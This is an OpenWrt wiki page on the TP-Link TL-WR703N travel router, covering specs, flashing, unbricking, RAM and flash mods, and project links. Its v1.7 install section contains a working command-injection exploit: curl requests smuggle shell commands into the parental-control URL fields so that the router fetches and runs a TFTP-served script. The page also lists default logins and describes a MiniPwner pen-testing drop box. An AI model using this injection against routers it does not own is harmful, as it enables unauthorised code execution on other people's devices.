TP-Link TL-WR703N

• same form factor as the TL-WR702N. TP-Link no longer list the “TL-WR703N” on their website, only the “TL-WR702N”, which has no USB connector and 2 MB flash only, so it can't run OpenWrt. Alternatives are the TL-WR710N or GL-AR150.
• It was the first device based on the Qualcomm Atheros AR9331 chipset to be ported to OpenWrt. Lot of general information overlaps with the Wiki pages of other AR9331-based devices
• marketed as a “3G travel router” but non version actually includes a 3G/4G... modem. The marketing term rather means that the OEM firmware supports USB 3G modems because it contains drivers for USB modems! Ignore that, because with OpenWrt ANY router with USB supports 3G hardware...
• Features:
  • 802.11 b/g/n 150Mbps (130Mbps real)
  • wireless power output 20dBm - 100mW
  • 4 MB flash memory (can be modified for 16MB)
  • 32 MB RAM (can be modified for 64MB)
  • USB 2.0 port (High-Speed only, use an external High-Speed hub for Full/Low-Speed devices)
  • Powered via micro-USB socket
  • Tiny form factor: 5.7cm x 5.7cm x 1.8cm

Historic information

Known clones of this device:

• Mercury MW150R
• FAST FW171-3G
• Kankun KK-SP3

Unlike many newer TP-Link devices, there appears to be no hardware differences between the version for the Chinese market and the version for the international market.

Please see generic.flashing for a generic description of the OpenWrt installation process.

If you've got a modified version of this hardware which has 16MB of flash, then you will not be able to build images larger than 4MB, even though the bootloader will allow you to subsequently utilize all 16MB of flash (i.e. by adding packages after firstboot). See mb_flash_mod for how to solve this problem.

Please check the firmware version first, either:

• in the Chinese webadmin interface: “Build 120925” correspond to a v1.7 firmware
• on the internal sticker located on the Ethernet jack (may have 12B042)
• DO NOT RELY ON THE VERSION GIVEN BY THE EXTERNAL STICKER ON CASE BOTTOM : it may report falsely “1.6”, even if the firmware is actually a V1.7

WARNING If you have a V1.7 firmware, SOME OpenWrt trunks (e.g. r36641) will brick your router, unless you have access to the serial console! NEWER TRUNKS will install without issue via tftp and will work fine.

Below is the version of the new bootloader (which disables the LAN port) of a version 1.7 hardware model (bought in December 2012).

root@tpl2:~# grep -a U-Boot /dev/mtd0ro | cut -d'I' -f1	 
U-Boot 1.1.4 (Sep 25 2012 - 09:04:47)	 

For more info visit this forum topic: https://forum.openwrt.org/viewtopic.php?id=40986

Firmware rev.140120 has admin1/admin1 set for web login/password

This router is standardly powered via USB at 5V. The voltage regulator inside is unknown, but its input voltage should be at least between 3.7V - 5.5V, but not over 5.5V. The device will get damaged at too high voltages*. Maximum current draw at 5V is 185mA (OpenWrt boot), average current draw with WiFi at 18dBm is 100mA, without WiFi 80mA. Hence the average router power consumption is 0.5W, which is incredibly low.

Power consumption will be higher if a USB device is attached to its USB port!

*Hint: If the router seems to be damaged because of a too high voltage, connect 3.3V _after_ the voltage regulator. This replaces the function of the damaged regulator, and the router works again. Be sure to power 5 volts into the micro-usb port at the same time if you want to have the usb port on the device work. More information and a rough diagram here http://img513.imageshack.us/img513/4295/saai.jpg

The serial console connector does not utilise the regular TP-Link pinouts. Two pads labelled TP_OUT and TP_IN are the TX and RX signals. 115200 8n1. You have to connect your RS232-USB apdater also to the 5V pin on the board.

Note that the pads can very easily be lifted. There is slightly more mechanical strength if you can solder to the surface-mount components to which the pads are connected--but this also takes care--your device could easily be destroyed. Make sure that your connection is secured so that tension cannot be applied to the solder points when you connect to an external device.

TL-MR703n login: root
password: 5up

v1.6 and older: upload the latest stable version via the web interface (default: 192.168.1.1 / admin / admin). Note: that the factory default web interface won't accept a file with a long name. Rename it to openwrt.bin and you won't get a “23002 Error”.

v1.7 hardware running 3.17.1 Build 140120 Rel.56593n will reject OpenWrt installation via the web interface, install via tftp instead.

Download latest squashfs-factory.bin for the initial flash. Use a “sysupgrade” file for any future updates if already on openwrt.

To flash from the Chinese web interface, at the present time you would select the last menu item on the left, and then the third submenu item. This initiates a popup with two buttons--the upper right one allows you to browse to find the file you want to flash on your PC, the lower left one initiates the flash.

When you roll over an item on the Chinese web interface, the rollover text will indicate which item you are selecting.

When the configuration no longer allows you to log in via any network connection (e.g. lost password), the OpenWrt failsafe mode can be entered via the single “Reset” button on the device. However, in contrast to the generic failsafe instructions, for the TL-WR703N you have to wait for ca. 10 (10-12) seconds before pushing the “Reset” button after powering on the device. If the button is pushed immediately after powering on, the single blue LED will start blinking, supposedly indicating some failsafe firmware recovery mody of the embedded bootloader (not yet discovered how to use it). In this mode, the OpenWrt failsafe is not being started. Instead, wait for slightly longer than 10 seconds and - as soon as the LED starts blinking for the first time after powering on the device, push the “Reset” button for ca. 1-2 seconds. Immediately afterwards, the LED will blink rapidly (multiple Hz) and OpenWrt will be in failsafe mode.
- The above didn't work on a Ver 1.6 box running OpenWrt r33312. To get into failsafe mode, power up the device and wait until the LED starts flashing (about 2Hz). Once it starts flashing (within about 4 seconds) then quickly press the button. The LED will then flash much faster and the device will be in failsafe mode.

• Setup serial console 115200 8n1
• Enter “tpl” as soon as U-Boot announces “Autobooting in 1 seconds”
• Download the original image: http://www.tp-link.com.cn/download/2011930104462.rar extact to tftp folder
• Setup your eth0 to 192.168.1.100, you can check detail by 'printenv'
• Run below command under U-Boot:

tftpboot 0x81000000 wr703nv1_cn_3_12_11_up(110926).bin
erase 0x9f020000 +0x3c0000
cp.b 0x81000000 0x9f020000 0x3c0000
bootm 9f020000

• Instructions on the forum for flashing wr703n with mr3020 firmware which is in english and not in chinese.
• Detailed instructions on the forum for flashing

Unbrick Tutorial with TFTP and Serial

On first image you can see the serial connector labeled TP_IN and TP_OUT on the bottom right. GND is right next to it on the right pin of C55.

on the Third image you have placement of GPIO, powers and some interesting things..

Hi Res images here : https://plus.google.com/u/0/photos/107211980242732541247/albums/5737162394063705409/5737162392085444242

I've setup over 15 of the v1.7 hardware nodes with Chaos Calmer trunk r45157, with some nodes running non-stop for weeks without issue. WiFi, USB and ethernet works great; mostly using the WR703n's to support VirtualHere USB-over-IP services. While this works great for me, this could brick your device: proceed at your own risk.

Huge thanks to Interdev for the original sketch. Below are the specific steps that works beautifully for me.

Obtain a static BusyBox binary:

curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox

Download OpenWrt:

curl https://archive.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

Cut the OpenWrt image into 2 parts (this could probably be made faster, or more space-efficient, but I haven't researched details):

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

Create a file named “aa”, using the following contents. Don't forget to replace 192.168.0.9 with the IP of your tftp server.

cd /tmp
tftp -gl i1 192.168.0.9
tftp -gl i2 192.168.0.9
tftp -gl busybox 192.168.0.9
chmod 755 busybox 
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
reboot -f

Now you should have 5 files in your TFTP server's folder:

• openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
• busybox
• i1
• i2
• aa

Use the following commands to install OpenWrt on a stock/factory Chinese v1.7 TL-WR703N running 3.17.1 Build 140120. Assuming you have a Linux or BSD-based TFTP server, just run the commands from there. DO NOT POWER OFF EQUIPMENT! INTERRUPTING IT WILL BRICK (and you need a 3.3V serial to revive it).

Again, replace 192.168.0.9 with the IP of your TFTP server, and 192.168.0.100 with the IP assigned to the WR703N.

Each of the following steps are necessary, don't skip them.

This is only necessary to complete the OpenWrt install, password will be reset to the default OpenWrt password upon completion of your install.

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'

The following exploit will run these commands on your WR703N:

cd /tmp ; tftp -gl aa 192.168.0.9; sh aa

DO NOT POWER OFF EQUIPMENT! INTERRUPTING THIS WILL BRICK THE WR703N!

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

Wait until the WR703N starts to blink; OpenWrt is now loading. Check your DHCP server, ARP table, or use nmap, to find the IP address. See OpenWrt – First Login for login instructions.

• Flash: Eon EN25Q32B
• DRAM: Zentel A3S56D40FTP
• tear down by Kean Electronics
• see Qualcomm Atheros AR9331 for general information about the SoC

The AR933x platform provides 30 GPIOs. Some of them are used by the router for status LEDs, buttons and other stuff. The table below shows the results of investigations:

* on wr703n these can be floating (i.e. resistors removed) and the unit still boots * on wr703n tried to pull up GPIO14 (after removing R11) with 10K, system won't boot, so let it pull down or floating

You can get additional details on the PCB in the dedicated PCB Details Wiki page.

cat /proc/mtd

dev:    size   erasesize  name
mtd0: 00020000 00010000 "u-boot"
mtd1: 000d9fa8 00010000 "kernel"
mtd2: 002f6058 00010000 "rootfs"
mtd3: 000f0000 00010000 "rootfs_data"
mtd4: 00010000 00010000 "art"
mtd5: 003d0000 00010000 "firmware"

The USB port on the WR703n is not compatible with USB1 devices (aka full speed) and only works properly with USB2 (aka high speed) devices. You can however plug a USB-Serial adapter as long as you plug that through a <$10 USB2. While you're at it, use another USB port to plug in a USB key and write data there (like serial console logs) so as not to wear out the built in flash.

See this page for more tips and how to create a serial console server out of your WR703n: http://marc.merlins.org/perso/linux/post_2012-12-05_Serial-Console-With-WR703N.html

Here is a recipe for gps tracking using a usb gps module. https://forum.openwrt.org/viewtopic.php?pid=185438

• Use reset boutton for other things
• Webcam streaming with wr703n
• Wireless USB (for printing or anything else)
• PulseAudio (audio streaming much like airplay) and NAS (network attached storage)
• TP-Link TL-WR703N specialized firmware generator
• Use small TP-LINK TL-WR703N as pen-testing drop box (Miniowner)
• TP-Link WR703N OpenWrt post installation tips
• How to increase storage on TP-Link WR703N with ExtRoot
• Bluelog Bluetooth scanner/logger
• Pineapple wifi hacking device

• RadioduinoWRT – a DIY webradio
• Web controlled home automation
• TP-link WR703n as telemetry link and camera broadcasting
• Cute Exterminator (Remote Control Toy)
• USB over IP server on WR703N
• BitBltBlade – WiFi controlled POV lightsaber
• Smart home automation webserver
• Motion Tracking on a wireless wr703n router
• Building a PirateBox from a TP-Link WR703N Router
• Self-waking computer for DIY cloud storage
• TP-Link WR703N Custom Pwn Plug
• GPS tracker with WR703N
• WR703N – 1.5inch Digital Photo Frame (DPF)
• WR703N – 1.5inch Digital Photo Frame (DPF) x2
• Adding an LCD screen terminal for TP-Link routers
• The Argus project - Airborne proximity warning system
• TL-WR703n home automation, without extra µC
• AR933x (WR703N) as USB Device - link dead

• Read about bootloader in general and about Das U-Boot in particular.
• special U-Boot version based on 1.1.4 is available.

Note: If you are a beginner, you should inform yourself about soldering in general and even then obtain some experience!

Here are some interesting hardware modifications for the TL-WR703N, from the OpenWrt forum:

• Internal USB hub and flashdrive upgrade
• Converting MicroB USB to USB2serial+Power on TP-WR703N
• TL-MR3420 flash modification (also applies to TL-WR703N)
• Building an external Serial Port (using common 3.5mm headphone jack)
• POE (Power Over Ethernet) RJ45 and on the forum and on wlan-si web site
• POE and USB to serial mod
• Adding an LCD screen terminal for TP-Link routers
• Solder inside ttl for TL-WR703N (Youtube video)
• GPIO hack that gives you access to a software I2C port
• Let's Get More,Make WR703 With 16M Flash
• Allow a larger WR703 firmware image to utilize a 16 MB Flash
• Access serial communication on a mini router (no extra connector)
• Youtube video - Upgrade ram to 64MB on WR703N
• Antenna mods
  • Better WR703N Antenna mod
  • WR-703N External Antenna Mod (DIY)
  • External SMA antenna connector
  • Internal uFL antenna connector mod
  • OpenWrt forum, Whirlpool Forum. 703n External Antenna Mod. Fully Tx signal tested. Detailed pdf instructions in forum links.

This project implements a webradio with cheep usb soundcard and a speaker of an old mobile phone within the casing of the router. There are two analogue controllers for selecting the stream and the volume. Therefor an attiny85 is connected to the uart.

Building a tiny webradio with analog volume and tune controller

The Device uses a DDR1 16Mbit x 16bit (16Mibit*16=256 mebibit. 256 mebibit/8=32MiByte) 400MHz chip Zentel A3S56D40FTP. Replace it with any 32Mbit x 16bit chip. 333MHz instead of 400MHz also works fine. It's quite hard to find these chips. One of the ways to get them is to have a look at DDR SO-DIMM (because SO-DIMM modules are shipped with x16 chips). Since there are no 64Mbit x 16bit DDR1 Chips available → no 128 MB mod!

The most easy approach is to seek for a 4-chip DDR 256 MB module. These all have x16 chips too. Chips only on one side (not to be confused with double-sided 256 MB modules with 4 chips on each side) and only 4 of them - that's the best chance to get some. They represent a small percent among usual 8-chip modules but this is equalized with the amount and “cheap as dirt” price of such DDR 256 MB modules.

Chip can also be salvaged from dead HDD with 64Mb cache, for example 2Tb Western Digital WD2002FYPS

Working chips:

• Hynix HY5DU121622DTP-D43 (From Mustang DDR SO-DIMM 512 MB)
• Hynix HY5DU121622CTP-D43 (From Hynix DDR SO-DIMM PC2700S-25330 512MB DDR 333MHz CL 2.5, chips are 400MHz compatible due to “D43” marking.)
• Hynix HY5DU121622AT-J (From DDR 256MB PC400 (BUD968RA))
• Infineon HYB25D512160BE (From Infineon DDR SO-DIMM 512 MB)
• Infineon HYB25DC512160CE-5 (From Transcend DDR SO-DIMM 512 MB)
• Elpida EDD5116ADTA-6B-E (From Elpida DDR SO-DIMM 512 MB)
• Elpida EDD5116AFTA-5B-E (From Elpida DDR SO-DIMM 512 MB)
• Alliance AS4C32M16D1-5TCN (From DigiKey, $2.76)
• Samsung K4H511638G-LCCC (From WD20EARS Controller Board)

Additional list that may work:

By default router is able to see all 64MB.

root@OpenWrt:~# free
             total         used         free       shared      buffers
Mem:         61864        48044        13820            0        30316

• Consider simply buying a GL.iNet 6416. Seriously, this is likely the device you actually want. And it's so cheap that it beats the time, trouble and money spend on modding - unless you do this modding for fun or educational purposes...
• 16MB flash chips are most likely not supported by the boot loader which resides on your old chip, therefore you cannot simply burn the 4 MB chip content on the new 16 MB chip and everything will be working. If you try this the LED will glow purple-ish. You will have to replace U-Boot with a special version based on 1.1.4, supported chips are:
  • Winbond W25Q128 (16 MB, JEDEC ID: EF 4018)
  • Macronix MX25L128 (16 MB, JEDEC ID: C2 2018, C2 2618)
  • Spansion S25FL127S (16 MB, JEDEC ID: 01 2018)
• If you've made (or bought) a device with 16MB of flash, you will still have difficulty building images larger than 4MB, even though you can use all 16MB once you've flashed an image (functionality provided by an appropriate bootloader, such as pepe2k u-boot mod). The reason is because the WR703N profile has a limit of 4MB, which is enforced by the mktplinkfw (make TP-Link Firmware) tool when the image is created. To enlarge this limit to 16MB, you can try the following (worked for me on 14.07/BB, b41353):

  sed -i '/TLWR703/              s/4Mlzma/16Mlzma/'   target/linux/ar71xx/image/Makefile
  sed -i '/TL-WR703Nv1/,/layout/{s/4Mlzma/16Mlzma/;}' tools/firmware-utils/src/mktplinkfw.c

• See: https://forum.openwrt.org/viewtopic.php?pid=238165 for more information.

In order to replace the 4mb flash chip with a 16mb one you may at first dump two important partitions:

• 64k u-boot + 64k data section: at the beginning of the chip. The data section is important as it contains MAC (at 0x1FC00) and PIN (at 0x1FE00) as well as Model information.
• 64k ART partition: which contains wireless voodoo configuration. Without it your wifi won't come up.

After dumping the memory , use dd to extract the second and last block.

#!/bin/sh
# new image size
# block size -> 64k
bs=65536
ls -l flash_dump
# -rw-rw-r-- 1 makefu makefu 4194304 Mar 21 10:28 flash_dump
flash_size=$(ls -l flash_dump | cut -d\  -f 5)
#             4194304 / 65536
num_blocks=$(($flash_size/$bs))
# 64 blocks, 64kilobyte each
dd if=flash_dump of=data.bin bs=$bs count=1 skip=1
dd if=flash_dump of=art.bin bs=$bs count=1 skip=$(($num_blocks-1))

After that you can cat together your new image:

new_image_size=16777216
truncate --size $((new_image_size-3*$bs)) whitespace.bin

# build pepe2k bootloader at first: see https://github.com/pepe2k/u-boot_mod
cat uboot_for_tp-link_tl-wr703n.bin \
    data.bin \
    whitespace.bin \
    art.bin > wr703_bootloader_data_whitespace_art.bin

Flash this image with your SPI-programmer on your new chip and solder it in. You can now hold the button for 3 seconds (will blink each second) and release to make the bootloader start a httpd at 192.168.1.1.

The MiniPwner's key features include:

Integrated Wired and Wireless connections Once plugged into a target network, the Mini-Pwner can establish an SSH tunnel through the target network, or can be accessed by wifi. In addition, the MiniPwner can be configured as a wifi sniffer and logger - wardriving in your pocket.

Low power consumption, can be run off battery. With the 1700 mAh battery included in the kit, the Mini-Pwner will run for over five hours of active wired and wireless activity. No need to find a power outlet during the pen test.

Multiple Pen Testing Tools included tcpdump, nmap, kismet, all come pre-installed

Flexible and Expandable The MiniPwner runs on the open source OpenWrt operating system. You can easily add or change the installed packages.

Small size The MiniPwner can be easily carried in a pocket, hidden behind a telephone, or hang from a jack by a short ethernet cable.

There are many other creative ways to use the MiniPwner. Here is a list of some of the software that comes installed:

• Nmap network scanner
• Tcpdump sniffer
• Netcat Hacker’s swiss army knife
• aircrack Wireless network analysis
• kismet Wireless network analysis
• perl Perl Scripting Language
• openvpn VPN Client and Server
• dsniff suite of sniffing and spoofing tools, including arpspoof
• nbtscan NetBIOS Network Scanner
• snort Sniffer, Packet Logger, Intrusion Detection System
• karma Wireless Sniffing Tool - not working yet....
• samba2-client Windows File Sharing Client
• elinks Text Based Web Browser
• yafc FTP Client
• openssh-sftp-client Secure File Transfer Client

Web - http://www.minipwner.com/

Kean Electronics in conjunction with the Sydney Hackerspace has developed WR703N Expander board as Open Hardware, all schematics are available online on their website - http://www.kean.com.au/oshw/WR703N/

Connector Info

• The upstream USB connection is intended to come via a 4 pin header plugged into the WR703N PCB below (existing USB connector removed).
• You can also populate a mini-B connector for connection to any upstream USB host via a
• You can populate up to 3 USB A female connectors, or use 0.1“ headers/connectors to mount USB connectors
• USB1 and USB2 are intended to be standard right angle connectors, but will also take vertical style.
• USB2 is recessed - partly to make the PCB able to be mounted very low on top of the WR703N PCB, but it also makes it suitable for very small USB drives (Sandisk Cruzer Fit).
• USB3 can be a right angle or more usually a vertical connector. Or left off completely.
• If a right angle connector is used for USB3, you can't easily use PORTB (and you should probably put some insulating tape over the PORTB pads).
• The PORTA and PORTB headers are similar to the common SparkFun FTDI connector, although they include RTS instead of DTR.
• The GPIO connector is intended to be a standard 2×5 box header.
• See the schematic for pin outs of the GPIO and serial ports. Due to space restrictions, the extra 8 GPIO's from PORTB are not routed out.

I2CCHIP has put a hardware serial bus interface inside. Fully built up, this will work immediately out of the box, and any configuration can be done completely from the browser.

Ascii commands control I2C, SPI, and 1-Wire buses using BL233 chip.

• 3 separate I2C buses
• 5V and 3.3V - can mix 5V and 3.3V
• Robust, high current pins with true cmos output protection
• Ascii commands and data - easy to control from shell scripts, no special binaries needed
• able to switch the router power off for intermittant/low power (eg solar powered) operation.
• 8 i/o pins can be controlled directly
• Can act as a watchdog the router where reliabilty is important.

Firmware supports autonomous data collection to the internal webserver, serial-over-network control, remote-over-internet access, webcam snapshots from internet. Webpage allows editing of the I2C commands, logging shell scripts, javascript display functions etc. The webpage lets you convert the I2C raw data, to readable values with some simple javascript.

Why would you do I2C this way, instead of a software bit bash the i/o pins?

• Timing is predictable. Software solutions lead to intermittant smbus timeouts, and subtle problems
• Robust, protected pins - SOC pins are very weak
• ascii commands are truly cross platform - this solution works the same on PC's, Bluetooth, Fibre, USB etc.
• Multiple buses, 5V operation.
• CMOS thresholds - noise immunity.
• Reliable and mature BL233 controller is over a decade old and does not have “undocumented features”